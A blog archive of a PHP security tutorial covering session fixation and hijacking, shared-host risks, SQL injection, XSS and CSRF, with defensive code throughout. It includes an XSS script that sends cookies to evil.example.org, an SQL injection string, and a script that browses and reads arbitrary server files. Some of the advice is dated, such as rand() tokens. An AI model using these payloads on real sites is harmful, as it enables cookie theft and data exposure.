Showing posts with label PHP. Show all posts
Showing posts with label PHP. Show all posts

January 24, 2008

Phpsec Shared Hosts

5.1 Exposed Session Data

5.2 Browsing the Filesystem

Exposed Session Data

When on a shared host, security simply isn't
going to be as strong as when on a dedicated host. This is one of the tradeoffs
for the inexpensive fee.

One particularly vulnerable aspect of shared
hosting is having a shared session store. By default, PHP stores session data in

/tmp
,
and this is true for everyone. You will find that most people stick with the
default behavior for many things, and sessions are no exception. Luckily, not
just anyone can read session files, because they are only readable by the web
server:

$ ls /tmp

total 12

-rw-------  1  nobody  nobody  123 May 21 12:34 sess_dc8417803c0f12c5b2e39477dc371462

-rw-------  1  nobody  nobody  123 May 21 12:34 sess_46c83b9ae5e506b8ceb6c37dc9a3f66e

-rw-------  1  nobody  nobody  123 May 21 12:34 sess_9c57839c6c7a6ebd1cb45f7569d1ccfc

$

Unfortunately, it is pretty trivial to write a
PHP script to read these files, and because it runs as the user


nobody

(or whatever user the web server uses), it has the necessary privileges.


The
safe_mode
directive can
prevent this and similar safety concerns, but since it only applies to PHP, it
doesn't address the root cause of the problem. Attackers can simply use other
languages.

What's a better solution? Don't use the same
session store as everyone else. Preferably, store them in a database where the
access credentials are unique to your account. To do this, simply use the


session_set_save_handler()

function to override PHP's default session handling with your own PHP functions.

The following code shows a simplistic example for
storing sessions in a database:

<?php

 session_set_save_handler('_open',

                         '_close',

                         '_read',

                         '_write',

                         '_destroy',

                         '_clean');

 

function _open()

{

  global $_sess_db;

 

  $db_user = $_SERVER['DB_USER'];

  $db_pass = $_SERVER['DB_PASS'];

  $db_host = 'localhost';

    

  if ($_sess_db = mysql_connect($db_host, $db_user, $db_pass))

  {

    return mysql_select_db('sessions', $_sess_db);

  }

    

  return FALSE;

}

 

function _close()

{

  global $_sess_db;

    

  return mysql_close($_sess_db);

}

 

function _read($id)

{

  global $_sess_db;

 

  $id = mysql_real_escape_string($id);

 

  $sql = "SELECT data

          FROM   sessions

          WHERE  id = '$id'";

 

  if ($result = mysql_query($sql, $_sess_db))

  {

    if (mysql_num_rows($result))

    {

      $record = mysql_fetch_assoc($result);

 

      return $record['data'];

    }

  }

 

  return '';

}

 

function _write($id, $data)

{   

  global $_sess_db;

 

  $access = time();

 

  $id = mysql_real_escape_string($id);

  $access = mysql_real_escape_string($access);

  $data = mysql_real_escape_string($data);

 

  $sql = "REPLACE 

          INTO    sessions

          VALUES  ('$id', '$access', '$data')";

 

  return mysql_query($sql, $_sess_db);

}

 

function _destroy($id)

{

  global $_sess_db;

    

  $id = mysql_real_escape_string($id);

 

  $sql = "DELETE

          FROM   sessions

          WHERE id = '$id'";

 

  return mysql_query($sql, $_sess_db);

}

 

function _clean($max)

{

  global $_sess_db;

    

  $old = time() - $max;

  $old = mysql_real_escape_string($old);

 

  $sql = "DELETE

          FROM   sessions

          WHERE  access < '$old'";

 

  return mysql_query($sql, $_sess_db);

}

 

?>

This requires an existing table named

sessions
,
whose format is as follows:


mysql> DESCRIBE sessions;

+--------+------------------+------+-----+---------+-------+

 Field   Type              Null  Key  Default  Extra 

+--------+------------------+------+-----+---------+-------+

 id      varchar(32)             PRI                 

 access  int(10) unsigned  YES        NULL           

 data    text              YES        NULL           

+--------+------------------+------+-----+---------+-------+

This database can be created in MySQL with the
following syntax:


CREATE TABLE sessions

(

    id varchar(32) NOT NULL,

    access int(10) unsigned,

    data text,

    PRIMARY KEY (id)

);

Storing your sessions in a database places the
trust in the security of your database. Recall the lessons learned when we spoke
about databases and SQL, because they are applicable here.


Browsing the Filesystem


Just for fun, let's look at a script that browses
the filesystem:


<?php

 

echo "<pre>\n";

 

if (ini_get('safe_mode'))

{

    echo "[safe_mode enabled]\n\n";

}

else

{

    echo "[safe_mode disabled]\n\n";

}

 

if (isset($_GET['dir']))

{

    ls($_GET['dir']);

}

elseif (isset($_GET['file']))

{

    cat($_GET['file']);

}

else

{

    ls('/');

}

 

echo "</pre>\n";

 

function ls($dir)

{

    $handle = dir($dir);

 

    while ($filename = $handle->read())

    {

        $size = filesize("$dir$filename");

 

        if (is_dir("$dir$filename"))

        {

            if (is_readable("$dir$filename"))

            {

                $line = str_pad($size, 15);

                $line .= "<a href=\"{$_SERVER['PHP_SE LF']}?dir=$dir$filename/\">$filename/</a>";

            }

            else

            {

                $line = str_pad($size, 15);

                $line .= "$filename/";

            }

        }

        else

        {

            if (is_readable("$dir$filename"))

            {

                $line = str_pad($size, 15);

                $line .= "<a href=\"{$_SERVER['PHP_SELF']}?file=$dir$filename\">$filename</a>";

            }

            else

            {

                $line = str_pad($size, 15);

                $line .= $filename;

            }

        }

 

        echo "$line\n";

    }

 

    $handle->close();

}

 

function cat($file)

{

    ob_start();

    readfile($file);

    $contents = ob_get_contents();

    ob_clean();

    echo htmlentities($contents);

 

    return true;

}

 

?>

The
safe_mode
directive can
prevent this particular script, but what about one written in another language?


A good solution is to store sensitive data in a
database and use the technique mentioned earlier (where


$_SERVER['DB_USER']

and

$_SERVER['DB_PASS']

contain the access credentials) to protect your database access credentials.


The best solution is to use a dedicated host.


Phpsec Sessions


4.1 Session Fixation

4.2 Session Hijacking

Session Fixation

Session security is a sophisticated topic, and
it's no surprise that sessions are a frequent target of attack. Most session
attacks involve impersonation, where the attacker attempts to gain access to
another user's session by posing as that user.

The most crucial piece of information for an
attacker is the session identifier, because this is required for any
impersonation attack. There are three common methods used to obtain a valid
session identifier:

§
Prediction

§
Capture

§
Fixation

Prediction refers to guessing a valid session
identifier. With PHP's native session mechanism, the session identifier is
extremely random, and this is unlikely to be the weakest point in your
implementation.

Capturing a valid session identifier is the most
common type of session attack, and there are numerous approaches. Because
session identifiers are typically propagated in cookies or as


GET

variables, the different approaches focus on attacking these methods of
transfer. While there have been a few browser vulnerabilities regarding cookies,
these have mostly been Internet Explorer, and cookies are slightly less exposed
than GET variables. Thus, for those users who enable cookies, you can provide
them with a more secure mechanism by using a cookie to propagate the session
identifier.


Fixation is the simplest method of obtaining a
valid session identifier. While it's not very difficult to defend against, if
your session mechanism consists of nothing more than


session_start()
,
you are vulnerable.


In order to demonstrate session fixation, I will
use the following script,

session.php
:


<?php

 

session_start();

 

if (!isset($_SESSION['visits']))

{

    $_SESSION['visits'] = 1;

}

else

{

    $_SESSION['visits']++;

}

 

echo $_SESSION['visits'];

 

?>

Upon first visiting the page, you should see

1

output to the screen. On each subsequent visit, this should increment to reflect
how many times you have visited the page.


To demonstrate session fixation, first make sure
that you do not have an existing session identifier (perhaps delete your
cookies), then visit this page with

?PHPSESSID=1234
appended
to the URL. Next, with a completely different browser (or even a completely
different computer), visit the same URL again with


?PHPSESSID=1234

appended. You will notice that you do not see


1

output on your first visit, but rather it continues the session you previously
initiated.


Why can this be problematic? Most session
fixation attacks simply use a link or a protocol-level redirect to send a user
to a remote site with a session identifier appended to the URL. The user likely
won't notice, since the site will behave exactly the same. Because the attacker
chose the session identifier, it is already known, and this can be used to
launch impersonation attacks such as session hijacking.


A simplistic attack such as this is quite easy to
prevent. If there isn't an active session associated with a session identifier
that the user is presenting, then regenerate it just to be sure:


<?php

 

session_start();

 

if (!isset($_SESSION['initiated']))

{

    session_regenerate_id();

    $_SESSION['initiated'] = true;

}

 

?>

The problem with such a simplistic defense is
that an attacker can simply initialize a session for a particular session
identifier, and then use that identifier to launch the attack.


To protect against this type of attack, first
consider that session hijacking is only really useful after the user has logged
in or otherwise obtained a heightened level of privilege. So, if we modify the
approach to regenerate the session identifier whenever there is any change in
privilege level (for example, after verifying a username and password), we will
have practically eliminated the risk of a successful session fixation attack.


Session Hijacking


Arguably the most common session attack, session
hijacking refers to all attacks that attempt to gain access to another user's
session.


As with session fixation, if your session
mechanism only consists of

session_start()
,
you are vulnerable, although the exploit isn't as simple.


Rather than focusing on how to keep the session
identifier from being captured, I am going to focus on how to make such a
capture less problematic. The goal is to complicate impersonation, since every
complication increases security. To do this, we will examine the steps necessary
to successfully hijack a session. In each scenario, we will assume that the
session identifier has been compromised.


With the most simplistic session mechanism, a
valid session identifier is all that is needed to successfully hijack a session.
In order to improve this, we need to see if there is anything extra in an HTTP
request that we can use for extra identification.


Note

It is unwise to rely on anything at the TCP/IP level, such as IP address,
because these are lower level protocols that are not intended to accommodate
activities taking place at the HTTP level. A single user can potentially have a
different IP address for each request, and multiple users can potentially have
the same IP address.


Recall a typical HTTP request:


GET / HTTP/1.1

Host: example.org

User-Agent: Mozilla/5.0 Gecko

Accept: text/xml, image/png, image/jpeg, image/gif, */*

Cookie: PHPSESSID=1234

Only the

Host
header is required
by

HTTP/1.1
,
so it seems unwise to rely on anything else. However, consistency is really all
we need, because we're only interested in complicating impersonation without
adversely affecting legitimate users.


Imagine that the previous request is followed by
a request with a different

User-Agent
:


GET / HTTP/1.1

Host: example.org

User-Agent: Mozilla Compatible (MSIE)

Accept: text/xml, image/png, image/jpeg, image/gif, */*

Cookie: PHPSESSID=1234

Although the same cookie is presented, should it
be assumed that this is the same user? It seems highly unlikely that a browser
would change the

User-Agent

header between requests, right? Let's modify the session mechanism to perform an
extra check:


<?php

 

session_start();

 

if (isset($_SESSION['HTTP_USER_AGENT']))

{

    if ($_SESSION['HTTP_USER_AGENT'] != md5($_SERVER['HTTP_USER_AGENT']))

    {

        /* Prompt for password */

        exit;

    }

}

else

{

    $_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']);

}

 

?>

Now an attacker must not only present a valid
session identifier, but also the correct


User-Agent
header
that is associated with the session. This complicates things slightly, and it is
therefore a bit more secure.


Can we improve this? Consider that the most
common method used to obtain cookie values is by exploiting a vulnerable browser
such as Internet Explorer. These exploits involve the victim visiting the
attacker's site, so the attacker will be able to obtain the correct


User-Agent

header. Something additional is necessary to protect against this situation.


Imagine if we required the user to pass the MD5
of the

User-Agent

in each request. An attacker could no longer just recreate the headers that the
victim's requests contain, but it would also be necessary to pass this extra bit
of information. While guessing the construction of this particular token isn't
too difficult, we can complicate such guesswork by simply adding an extra bit of
randomness to the way we construct the token:


<?php

 

$string = $_SERVER['HTTP_USER_AGENT'];

$string .= 'SHIFLETT';

 

/* Add any other data that is consistent */

 

$fingerprint = md5($string);

 

?>

Keeping in mind that we're passing the session
identifier in a cookie, and this already requires that an attack be used to
compromise this cookie (and likely all HTTP headers as well), we should pass
this fingerprint as a URL variable. This must be in all URLs as if it were the
session identifier, because both should be required in order for a session to be
automatically continued (in addition to all checks passing).


In order to make sure that legitimate users
aren't treated like criminals, simply prompt for a password if a check fails. If
there is an error in your mechanism that incorrectly suspects a user of an
impersonation attack, prompting for a password before continuing is the least
offensive way to handle the situation. In fact, your users may appreciate the
extra bit of protection perceived from such a query.


There are many different methods you can use to
complicate impersonation and protect your applications from session hijacking.
Hopefully you will at least do something in addition to


session_start()

as well as be able to come up with a few ideas of your own. Just remember to
make things difficult for the bad guys and easy for the good guys.


Note

Some experts claim that the

User-Agent
header is not
consistent enough to be used in the way described. The argument is that an HTTP
proxy in a cluster can modify the

User-Agent
header
inconsistently with other proxies in the same cluster. While I have never
observed this myself (and feel comfortable relying on the consistency of


User-Agent
),
it is something you may want to consider.


The
Accept
header has been
known to change from request to request in Internet Explorer (depending on
whether the user refreshes the browser), so this should not be relied upon for
consistency.


Phpsec Databases and SQL

3.1 Exposed Access Credentials

3.2 SQL Injection

Exposed Access Credentials

Most PHP applications interact with a database.
This usually involves connecting to a database server and using access
credentials to authenticate:

<?php
$host = 'example.org';

$username = 'myuser';

$password = 'mypass';
$db = mysql_connect($host, $username, $password);
?>

This could be an example of a file called

db.inc

that is included whenever a connection to the database is needed. This approach
is convenient, and it keeps the access credentials in a single file.


Potential problems arise when this file is
somewhere within document root. This is a common approach, because it makes

include

and

require

statements much simpler, but it can lead to situations that expose your access
credentials.


Remember that everything within document root has
a URL associated with it. For example, if document root is


/usr/local/apache/htdocs
,
then a file located at

/usr/local/apache/htdocs/inc/db.inc

has a URL such as

http://example.org/inc/db.inc
.


Combine this with the fact that most web servers
will serve

.inc

files as plaintext, and the risk of exposing your access credentials should be
clear. A bigger problem is that any source code in these modules can be exposed,
but access credentials are particularly sensitive.


Of course, one simple solution is to place all
modules outside of document root, and this is a good practice. Both


include

and

require

can accept a filesystem path, so there's no need to make modules accessible via
URL. It is an unnecessary risk.


If you have no choice in the placement of your
modules, and they must be within document root, you can put something like the
following in your

httpd.conf

file (assuming Apache):


<Files ~ "\.inc$">

    Order allow,deny

    Deny from all

</Files>

It is not a good idea to have your modules
processed by the PHP engine. This includes renaming your modules with a


.php

extension as well as using

AddType

to have

.inc
files treated as PHP
files. Executing code out of context can be very dangerous, because it's
unexpected and can lead to unknown results. However, if your modules consist of
only variable assignments (as an example), this particular risk is mitigated.


My favorite method for protecting your database
access credentials is described in the PHP Cookbook (O'Reilly) by David Sklar
and Adam Trachtenberg. Create a file,


/path/to/secret-stuff
,
that only

root

can read (not

nobody
):


SetEnv DB_USER "myuser"

SetEnv DB_PASS "mypass"

Include this file within

httpd.conf

as follows:


Include "/path/to/secret-stuff"

Now you can use

$_SERVER['DB_USER']

and

$_SERVER['DB_PASS']

in your code. Not only do you never have to write your username and password in
any of your scripts, the web server can't read the


secret-stuff

file, so no other users can write scripts to read your access credentials
(regardless of language). Just be careful not to expose these variables with
something like

phpinfo()
or

print_r($_SERVER)
.


SQL Injection


SQL injection attacks are extremely simple to
defend against, but many applications are still vulnerable. Consider the
following SQL statement:


<?php

 

$sql = "INSERT

        INTO   users (reg_username,

                      reg_password,

                      reg_email)

        VALUES ('{$_POST['reg_username']}',

                '$reg_password',

                '{$_POST['reg_email']}')";

 

?>

This query is constructed with

$_POST
,
which should immediately look suspicious.


Assume that this query is creating a new account.
The user provides a desired username and an email address. The registration
application generates a temporary password and emails it to the user to verify
the email address. Imagine that the user enters the following as a username:


bad_guy', 'mypass', ''), ('good_guy

This certainly doesn't look like a valid
username, but with no data filtering in place, the application can't tell. If a
valid email address is given (
shiflett@php.net, for
example), and

1234

is what the application generates for the password, the SQL statement becomes
the following:


<?php

 

$sql = "INSERT

        INTO   users (reg_username,

                      reg_password,

                      reg_email)

        VALUES ('bad_guy', 'mypass', ''), ('good_guy',

                '1234',

                'shiflett@php.net')"; ?>

 

Rather than the intended action of creating a
single account (
good_guy)
with a valid email address, the application has been tricked into creating two
accounts, and the user supplied every detail of the


bad_guy

account.


While this particular example might not seem so
harmful, it should be clear that worse things could happen once an attacker can
make modifications to your SQL statements.


For example, depending on the database you are
using, it might be possible to send multiple queries to the database server in a
single call. Thus, a user can potentially terminate the existing query with a
semicolon and follow this with a query of the user's choosing.


MySQL, until recently, does not allow multiple
queries, so this particular risk is mitigated. Newer versions of MySQL allow
multiple queries, but the corresponding PHP extension (
ext/mysqli)
requires that you use a separate function if you want to send multiple queries (
mysqli_multi_query()
instead of

mysqli_query()
). Only
allowing a single query is safer, because it limits what an attacker can
potentially do.


Protecting against SQL injection is easy:



§
Filter your data.


This cannot be
overstressed. With good data filtering in place, most security concerns are
mitigated, and some are practically eliminated.



§
Quote your data.


If your database
allows it (MySQL does), put single quotes around all values in your SQL
statements, regardless of the data type.



§
Escape your data.


Sometimes valid data
can unintentionally interfere with the format of the SQL statement itself. Use

mysql_escape_string()

or an escaping function native to your particular database. If there isn't a
specific one,

addslashes()
is a
good last resort.


Phpsec Form Processing


2.1 Spoofed Form Submissions

2.2 Spoofed HTTP Requests

2.3 Cross-Site Scripting

2.4 Cross-Site Request Forgeries


Spoofed Form Submissions

In order to appreciate the necessity of data
filtering, consider the following form located (hypothetically speaking) at

http://example.org/form.html
:


<form action="/process.php" method="POST">

<select name="color">

    <option value="red">red</option>

    <option value="green">green</option>

    <option value="blue">blue</option>

</select>

<input type="submit" />

</form>

Imagine a potential attacker who saves this HTML
and modifies it as follows:


<form action="http://example.org/process.php" method="POST">

<input type="text" name="color" />

<input type="submit" />

</form>

This new form can now be located anywhere (a web
server is not even necessary, since it only needs to be readable by a web
browser), and the form can be manipulated as desired. The absolute URL used in
the action attribute causes the

POST

request to be sent to the same place.


This makes it very easy to eliminate any
client-side restrictions, whether HTML form restrictions or client-side scripts
intended to perform some rudimentary data filtering. In this particular example,

$_POST['color']

is not necessarily

red
,

green
,
or

blue
.
With a very simple procedure, any user can create a convenient form that can be
used to submit any data to the URL that processes the form.


Spoofed HTTP Requests


A more powerful, although less convenient
approach is to spoof an HTTP request. In the example form just discussed, where
the user chooses a color, the resulting HTTP request looks like the following
(assuming a choice of

red
):


POST /process.php HTTP/1.1

Host: example.org

Content-Type: application/x-www-form-urlencoded

Content-Length: 9

 

color=red

The
telnet

utility can be used to perform some ad hoc testing. The following example makes
a simple

GET

request for

http://www.php.net/
:


$ telnet www.php.net 80

Trying 64.246.30.37...

Connected to rs1.php.net.

Escape character is '^]'.

GET / HTTP/1.1

Host: www.php.net

 

HTTP/1.1 200 OK

Date: Wed, 21 May 2004 12:34:56 GMT

Server: Apache/1.3.26 (Unix) mod_gzip/1.3.26.1a PHP/4.3.3-dev

X-Powered-By: PHP/4.3.3-dev

Last-Modified: Wed, 21 May 2004 12:34:56 GMT

Content-language: en

Set-Cookie: COUNTRY=USA%2C12.34.56.78; expires=Wed,28-May-04 12:34:56 GMT; path=/; domain=.php.net

Connection: close

Transfer-Encoding: chunked

Content-Type: text/html;charset=ISO-8859-1

 

2083

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01Transitional//EN">

...

Of course, you can write your own client instead
of manually entering requests with

telnet
.
The following example shows how to perform the same request using PHP:


<?php

 

$http_response = '';

 

$fp = fsockopen('www.php.net', 80);

fputs($fp, "GET / HTTP/1.1\r\n");

fputs($fp, "Host: www.php.net\r\n\r\n");

 

while (!feof($fp))

{

    $http_response .= fgets($fp, 128);

}

 

fclose($fp);

 

echo nl2br(htmlentities($http_response));

 

?>

Sending your own HTTP requests gives you
complete flexibility, and this demonstrates why server-side data filtering is so
essential. Without it, you have no assurances about any data that originates
from any external source.


Cross-Site Scripting


The media has helped make cross-site scripting
(XSS) a familiar term, and the attention is deserved. It is one of the most
common security vulnerabilities in web applications, and many popular open
source PHP applications suffer from constant XSS vulnerabilities.


XSS attacks have the following characteristics:



§
Exploit the trust a user has for a
particular site.


Users don't
necessarily have a high level of trust for any web site, but the browser does.
For example, when the browser sends cookies in a request, it is trusting the web
site. Users may also have different browsing habits or even different levels of
security defined in their browser depending on which site they are visiting.



§
Generally involve web sites that
display external data.


Applications at a
heightened risk include forums, web mail clients, and anything that displays
syndicated content (such as RSS feeds).



§
Inject content of the attacker's
choosing.


When external data
is not properly filtered, you might display content of the attacker's choosing.
This is just as dangerous as letting the attacker edit your source on the
server.


How can this happen? If you display content that
comes from any external source without properly filtering it, you are vulnerable
to XSS. Foreign data isn't limited to data that comes from the client. It also
means email displayed in a web mail client, a banner advertisement, a syndicated
blog, and the like. Any information that is not already in the code comes from
an external source, and this generally means that most data is external data.


Consider the following example of a simplistic
message board:


<form>

<input type="text" name="message"><br />

<input type="submit">

</form>

 

<?php

 

if (isset($_GET['message']))

{

    $fp = fopen('./messages.txt', 'a');

    fwrite($fp, "{$_GET['message']}<br />");

    fclose($fp);

}

 

readfile('./messages.txt');

 

?>

This message board appends

<br />

to whatever the user enters, appends this to a file, then displays the current
contents of the file.


Imagine if a user enters the following message:


<script>

document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie

</script>

The next user who visits this message board with
JavaScript enabled is redirected to

evil.example.org
,
and any cookies associated with the current site are included in the query
string of the URL.


Of course, a real attacker wouldn't be limited
by my lack of creativity or JavaScript expertise. Feel free to suggest better
(more malicious?) examples.


What can you do? XSS is actually very easy to
defend against. Where things get difficult is when you want to allow some HTML
or client-side scripts to be provided by external sources (such as other users)
and ultimately displayed, but even these situations aren't terribly difficult to
handle. The following best practices can mitigate the risk of XSS:



§
Filter all external data.


As mentioned
earlier, data filtering is the most important practice you can adopt. By
validating all external data as it enters and exits your application, you will
mitigate a majority of XSS concerns.



§
Use existing functions.


Let PHP help with
your filtering logic. Functions like


htmlentities()
,

strip_tags()
,
and

utf8_decode()

can be useful. Try to avoid reproducing something that a PHP function already
does. Not only is the PHP function much faster, but it is also more tested and
less likely to contain errors that yield vulnerabilities.



§
Use a whitelist approach.


Assume data is
invalid until it can be proven valid. This involves verifying the length and
also ensuring that only valid characters are allowed. For example, if the user
is supplying a last name, you might begin by only allowing alphabetic characters
and spaces. Err on the side of caution. While the names


O'Reilly

and

Berners-Lee

will be considered invalid, this is easily fixed by adding two more characters
to the whitelist. It is better to deny valid data than to accept malicious data.



§
Use a strict naming convention.


As mentioned
earlier, a naming convention can help developers easily distinguish between
filtered and unfiltered data. It is important to make things as easy and clear
for developers as possible. A lack of clarity yields confusion, and this breeds
vulnerabilities.


A much safer version of the simple message board
mentioned earlier is as follows:


<form>

<input type="text" name="message"><br />

<input type="submit">

</form>

 

<?php

 

if (isset($_GET['message']))

{

    $message = htmlentities($_GET['message']);

 

    $fp = fopen('./messages.txt', 'a');

    fwrite($fp, "$message<br />");

    fclose($fp);

}

 

readfile('./messages.txt');

 

?>

With the simple addition of

htmlentities()
,
the message board is now much safer. It should not be considered completely
secure, but this is probably the easiest step you can take to provide an
adequate level of protection. Of course, it is highly recommended that you
follow all of the best practices that have been discussed.


Cross-Site Request Forgeries


Despite the similarities in name, cross-site
request forgeries (CSRF) are an almost opposite style of attack. Whereas XSS
attacks exploit the trust a user has in a web site, CSRF attacks exploit the
trust a web site has in a user. CSRF attacks are more dangerous, less popular
(which means fewer resources for developers), and more difficult to defend
against than XSS attacks.


CSRF attacks have the following characteristics:



§
Exploit the trust that a site has for
a particular user.


Many users may not
be trusted, but it is common for web applications to offer users certain
privileges upon logging in to the application. Users with these heightened
privileges are potential victims (unknowing accomplices, in fact).



§
Generally involve web sites that rely
on the identity of the users. It is typical for the identity of a user to carry
a lot of weight. With a secure session management mechanism, which is a
challenge in itself, CSRF attacks can still be successful. In fact, it is in
these types of environments where CSRF attacks are most potent.



§
Perform HTTP requests of the
attacker's choosing.


CSRF attacks include
all attacks that involve the attacker forging an HTTP request from another user
(in essence, tricking a user into sending an HTTP request on the attacker's
behalf). There are a few different techniques that can be used to accomplish
this, and I will show some examples of one specific technique.


Because CSRF attacks involve the forging of HTTP
requests, it is important to first gain a basic level of familiarity with HTTP.


A web browser is an HTTP client, and a web
server is an HTTP server. Clients initiate a transaction by sending a request,
and the server completes the transaction by sending a response. A typical HTTP
request is as follows:


GET / HTTP/1.1

Host: example.org

User-Agent: Mozilla/5.0 Gecko

Accept: text/xml, image/png, image/jpeg, image/gif, */*

The first line is called the request line, and
it contains the request method, request URL (a relative URL is used), and HTTP
version. The other lines are HTTP headers, and each header name is followed by a
colon, a space, and the value.


You might be familiar with accessing this
information in PHP. For example, the following code can be used to rebuild this
particular HTTP request in a string:


<?php

 

$request = '';

$request .= "{$_SERVER['REQUEST_METHOD']} ";

$request .= "{$_SERVER['REQUEST_URI']} ";

$request .= "{$_SERVER['SERVER_PROTOCOL']}\r\n";

$request .= "Host: {$_SERVER['HTTP_HOST']}\r\n";

$request .= "User-Agent: {$_SERVER['HTTP_USER_AGENT']}\r\n";

$request .= "Accept: {$_SERVER['HTTP_ACCEPT']}\r\n\r\n";

 

?>

An example response to the previous request is
as follows:


HTTP/1.1 200 OK

Content-Type: text/html

Content-Length: 57

 

<html>

<img src="http://example.org/image.png" />

</html>

The content of a response is what you see when
you view source in a browser. The

img

tag in this particular response alerts the browser to the fact that another
resource (an image) is necessary to properly render the page. The browser
requests this resource as it would any other, and the following is an example of
such a request:


GET /image.png HTTP/1.1

Host: example.org

User-Agent: Mozilla/5.0 Gecko

Accept: text/xml, image/png, image/jpeg, image/gif, */*

This is worthy of attention. The browser
requests the URL specified in the

src

attribute of the

img

tag just as if the user had manually navigated there. The browser has no way to
specifically indicate that it expects an image.


Combine this with what you've learned about
forms, and then consider a URL similar to the following:


http://stocks.example.org/buy.php?symbol=SCOX&quantity=1000

A form submission that uses the

GET

method can potentially be indistinguishable from an image request - both could
be requests for the same URL. If

register_globals

is enabled, the method of the form isn't even important (unless the developer
still uses

$_POST

and the like). Hopefully the dangers are already becoming clear.


Another characteristic that makes CSRF so
powerful is that any cookies pertaining to a URL are included in the request for
that URL. A user who has an established relationship with


stocks.example.org

(such as being logged in) can potentially buy


1000

shares of

SCOX

by visiting a page with an

img

tag that specifies the URL in the previous example.


Consider the following form located
(hypothetically) at


http://stocks.example.org/form.html
:


<p>Buy Stocks Instantly!</p>

<form action="/buy.php">

<p>Symbol: <input type="text" name="symbol" /></p>

<p>Quantity:<input type="text" name="quantity" /></p>

<input type="submit" />

</form>

If the user enters

SCOX

for the symbol,

1000

as the quantity, and submits the form, the request that is sent by the browser
is similar to the following:


GET /buy.php?symbol=SCOX&quantity=1000 HTTP/1.1

Host: stocks.example.org

User-Agent: Mozilla/5.0 Gecko

Accept: text/xml, image/png, image/jpeg, image/gif, */*

Cookie: PHPSESSID=1234

I include a

Cookie

header in this example to illustrate the application using a cookie for the
session identifier. If an

img

tag references the same URL, the same cookie will be sent in the request for
that URL, and the server processing the request will be unable to distinguish
this from an actual order.


There are a few things you can do to protect
your applications against CSRF:



§
Use

POST

rather than

GET

in forms. Specify

POST

in the method attribute of your forms. Of course, this isn't appropriate for all
of your forms, but it is appropriate when a form is performing an action, such
as buying stocks. In fact, the HTTP specification requires that


GET

be considered safe.



§
Use

$_POST

rather than rely on

register_globals
.
Using the

POST

method for form submissions is useless if you rely on


register_globals

and reference form variables like

$symbol

and

$quantity
.
It is also useless if you use

$_REQUEST.



§
Do not focus on convenience.


While it seems
desirable to make a user's experience as convenient as possible, too much
convenience can have serious consequences. While "one-click" approaches can be
made very secure, a simple implementation is likely to be vulnerable to CSRF.



§
Force the use of your own forms.


The biggest problem
with CSRF is having requests that look like form submissions but aren't. If a
user has not requested the page with the form, should you assume a request that
looks like a submission of that form to be legitimate and intended?


Now we can write an even more secure message
board:


<?php

 

$token = md5(time());

 

$fp = fopen('./tokens.txt', 'a');

fwrite($fp, "$token\n");

fclose($fp);

 

?>

 

<form method="POST">

<input type="hidden" name="token" value="<?php echo $token; ?>" />

<input type="text" name="message"><br />

<input type="submit">

</form>

 

<?php

 

$tokens = file('./tokens.txt');

 

if (in_array($_POST['token'], $tokens))

{

    if (isset($_POST['message']))

    {

        $message = htmlentities($_POST['message']);

 

        $fp = fopen('./messages.txt', 'a');

        fwrite($fp, "$message<br />");

        fclose($fp);

    }

}

 

readfile('./messages.txt');

 

?>

This message board still has a few security
vulnerabilities. Can you spot them?


Time is extremely predictable. Using the MD5
digest of a timestamp is a poor excuse for a random number. Better functions
include

uniqid()

and

rand()
.


More importantly, it is trivial for an attacker
to obtain a valid token. By simply visiting this page, a valid token is
generated and included in the source. With a valid token, the attack is as
simple as before the token requirement was added.


Here is an improved message board:


<?php

 

session_start();

 

if (isset($_POST['message']))

{

if (isset($_SESSION['token']) && $_POST['token'] == $_SESSION['token'])

    {

        $message = htmlentities($_POST['message']);

 

        $fp = fopen('./messages.txt', 'a');

        fwrite($fp, "$message<br />");

        fclose($fp);

    }

}

 

$token = md5(uniqid(rand(), true));

$_SESSION['token'] = $token;

 

?>

 

<form method="POST">

<input type="hidden" name="token" value="<?php echo $token; ?>" />

<input type="text" name="message"><br />

<input type="submit">

</form>

 

<?php

 

readfile('./messages.txt');

 

?>